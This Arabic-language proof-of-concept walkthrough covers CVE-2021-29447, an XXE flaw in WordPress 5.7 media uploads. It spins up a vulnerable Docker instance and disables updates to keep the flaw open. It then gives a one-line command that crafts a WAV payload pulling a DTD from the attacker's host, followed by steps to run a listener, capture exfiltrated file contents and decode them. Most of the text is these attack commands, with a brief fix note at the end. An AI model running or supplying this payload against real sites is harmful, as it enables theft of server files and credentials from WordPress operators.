
CVE-2021-29447 هي ثغرة حقن كيانات خارجية في XML (XXE) تؤثر على إصدارات ووردبريس من 5.6 إلى 5.7 (تم إصلاحها في الإصدار 5.7.1) عند تشغيل PHP 8.0+. توجد الثغرة في مكتبة getID3 المستخدمة لتحليل البيانات الوصفية للوسائط.
يعالج ووردبريس مقاطع iXML في ملفات WAV عبر getID3، والتي تستدعي الدالة simplexml_load_string() مع العلامة LIBXML_NOENT. تعمل هذه العلامة بشكل صريح على تمكين استبدال الكيانات الخارجية، متجاوزةً الحمايات الافتراضية لـ PHP 8 ضد XXE (التي أُهملت في libxml_disable_entity_loader()).
يوضح إثبات المفهوم هذا الثغرة باستخدام ووردبريس 5.7 داخل Docker مع PHP 8.0.3. يمكن لمستخدمي لينكس استخدام سكربت بملف واحد يُنشئ أيضًا ملفات WAV/DTD.
▶️: https://youtu.be/YnGowuWHFyY
قم بتثبيت Docker Desktop على جهاز ويندوز
أنشئ دليل مشروع مخصص (يتم تنفيذ جميع أوامر PowerShell هنا):
#powershell
mkdir cve-2021-29447-poc
cd cve-2021-29447-poc
انشر نسخة ووردبريس المعرضة للثغرة:
#powershell
notepad docker-compose.yml
انسخ والصق محتوى docker-compose.yml
ابدأ الحاويات:
#powershell
docker-compose up -d
عطّل التحديثات التلقائية (أمر بالغ الأهمية لاستمرار الثغرة):
#powershell
docker-compose exec wordpress bash
#bash
sed -i "s/WP_AUTO_UPDATE_CORE', true/WP_AUTO_UPDATE_CORE', false/g" /var/www/html/wp-config-sample.php
echo "define('AUTOMATIC_UPDATER_DISABLED', true);" >> /var/www/html/wp-config-sample.php
echo "define('WP_AUTO_UPDATE_CORE', false);" >> /var/www/html/wp-config-sample.php
tail -5 /var/www/html/wp-config-sample.php
exit
تحقق من الإصدارات المعرضة للثغرة:
#powershell
docker-compose exec wordpress bash -c "grep wp_version /var/www/html/wp-includes/version.php && php -v"
متوقع: ووردبريس 5.7، وPHP 8.0 أو أحدث
تثبيت ووردبريس:
انتقل إلى: http://localhost:8080
المسؤول: test / test / [email protected]
أكمل الإعداد → الوصول إلى /wp-admin
اكتشاف عنوان IP للمهاجم:
#powershell
ipconfig | findstr IPv4
لاحظ عنوان IP الخاص بك (مثل 192.168.1.196)
أنشئ حمولة DTD:
#powershell
notepad evil.dtd
انسخ والصق محتوى evil.dtd
ولّد حمولة WAV (عبر واجهة سطر الأوامر في لينكس):
#bash
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOUR_IP:PORT/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
انقل الملف عبر python3 -m http.server 8000 ← لتنزيله من متصفح ويندوز (مثل http://<VM_IP>:8000)
ملاحظة: تم إنشاء WAV بشكل منفصل بسبب تعقيد إفلات البيانات الثنائية في بيئات ويندوز
انشر خادم الاستغلال:
#powershell
notepad exploit.py
انسخ والصق محتوى exploit.py
الأمر:
#powershell
python exploit.py -l YOUR_IP -p PORT
شغّل XXE:
http://localhost:8080/wp-admin → الوسائط ← إضافة جديد
ارفع ملف payload.wav
راقب وحدة تحكم خادم Python ← لالتقاط البيانات المسرّبة
فك ترميز حمولة Base64+Zlib:
#powershell
$bd='PASTE_BASE64_HERE';$bytes=[Convert]::FromBase64String($bd);$decoded=[System.IO.Compression.DeflateStream]::new([System.IO.MemoryStream]::new($bytes,$false),[System.IO.Compression.CompressionMode]::Decompress);[System.IO.StreamReader]::new($decoded).ReadToEnd()
قم بترقية ووردبريس إلى 5.7.1 أو أحدث، أو عطّل LIBXML_NOENT في تحليل getID3.